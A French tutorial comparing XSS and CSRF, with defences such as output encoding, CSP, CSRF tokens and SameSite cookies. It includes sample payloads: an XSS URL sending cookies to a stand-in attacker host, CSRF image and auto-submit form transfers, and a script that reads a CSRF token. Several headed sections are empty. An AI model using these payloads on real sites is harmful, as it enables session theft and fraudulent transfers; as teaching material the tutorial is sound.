XSS vs CSRF : différences clés, exemples et comment prévenir les deux

📊 Comparaison rapide : XSS vs CSRF

Avant de plonger dans les détails, voici une comparaison côte à côte des attaques XSS et CSRF :

🔴 Qu'est-ce que XSS (Cross-Site Scripting)?

Le Cross-Site Scripting se produit lorsqu'un attaquant injecte du JavaScript malveillant dans un site web de confiance. Lorsqu'une victime visite la page, le script s'exécute dans son navigateur avec un accès complet au contexte de la page, y compris les cookies, les tokens de session et le contenu DOM.

Trois types de XSS

Exemple d'attaque XSS

Considérez une page de recherche qui affiche l'entrée utilisateur sans assainissement:

<!-- Code PHP vulnérable -->
<p>Résultats pour: <?php echo $_GET['q']; ?></p>

Un attaquant crée une URL malveillante:

https://site-cible.example/search?q=<script>document.location='https://attaquant.example/steal?c='+document.cookie</script>

🟠 Qu'est-ce que CSRF (Cross-Site Request Forgery)?

Le Cross-Site Request Forgery piège un utilisateur authentifié pour qu'il effectue des actions non désirées sur un site où il est connecté. L'attaquant exploite le fait que les navigateurs incluent automatiquement les cookies avec chaque requête vers un domaine, quel que soit l'origine de la requête.

Comment fonctionne CSRF

Exemples d'attaque CSRF

Méthode 1: Utilisation d'une balise image (pour les requêtes GET):

<!-- Sur le site web de l'attaquant -->
<img src="https://acme-banque.example/transfer?to=attaquant&amount=1000" style="display:none">

Méthode 2: Formulaire auto-soumis (pour les requêtes POST):

<!-- Formulaire caché qui se soumet automatiquement -->
<form action="https://acme-banque.example/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attaquant">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf').submit();</script>

🔍 Différences clés expliquées

Comprendre les différences fondamentales entre XSS et CSRF vous aide à identifier et prévenir chaque vulnérabilité efficacement.

⚠️ XSS peut-il mener à CSRF?

Oui, et c'est pourquoi XSS est souvent considéré comme plus dangereux. Si un attaquant a XSS sur un site, il peut contourner entièrement les protections CSRF.

Voici comment XSS contourne la protection CSRF:

// Payload XSS qui vainc les tokens CSRF
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('/transfer', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'to=attaquant&amount=1000&csrf_token=' + token
});

🛡️ Méthodes de prévention

XSS et CSRF nécessitent des stratégies de défense différentes. Implémenter des tokens CSRF n'empêchera pas XSS, et l'encodage de sortie n'arrêtera pas CSRF.

🔴 Prévenir XSS

• 🔒 Encodage de sortie - Échapper toutes les entrées utilisateur avant le rendu. Utiliser un encodage approprié au contexte (entités HTML, échappement JavaScript, encodage URL).
• 🛡️ Content Security Policy (CSP) - Restreindre quels scripts peuvent s'exécuter. Bloquer les scripts inline et limiter les sources aux domaines de confiance.
• 🍪 Cookies HTTPOnly - Empêcher JavaScript d'accéder aux cookies de session. Limite les dommages même si XSS se produit.
• ✅ Validation d'entrée - Lister les caractères autorisés lorsque possible. Rejeter ou assainir les modèles d'entrée dangereux.

🟠 Prévenir CSRF

• 🎫 Tokens CSRF - Inclure des tokens imprévisibles dans les formulaires et vérifier côté serveur. Les attaquants ne peuvent pas deviner ou accéder au token.
• 🍪 Cookies SameSite - Définir SameSite=Strict ou Lax. Empêche les cookies d'être envoyés avec les requêtes cross-origin.
• 🔍 Vérifier les en-têtes Origin/Referer - Vérifier que les requêtes proviennent de votre domaine. Rejeter les origines inattendues.
• 🔐 Ré-authentification - Exiger une confirmation de mot de passe pour les opérations critiques comme les transferts de fonds.

💥 Impact du monde réel

Les deux vulnérabilités ont causé des dommages significatifs dans les systèmes de production:

Ces exemples démontrent pourquoi les deux vulnérabilités apparaissent systématiquement dans le OWASP Top 10 et nécessitent des mesures de sécurité dédiées.

🧪 Tester XSS et CSRF

Savoir identifier ces vulnérabilités est aussi important que les comprendre.

🎯 Pratiquer avec des laboratoires dédiés

Combinez la pratique pratique avec le cours Cross-Site Scripting et le cours CSRF pour comprendre la théorie, les outils et les stratégies de défense derrière chaque technique.

❓ Questions fréquemment posées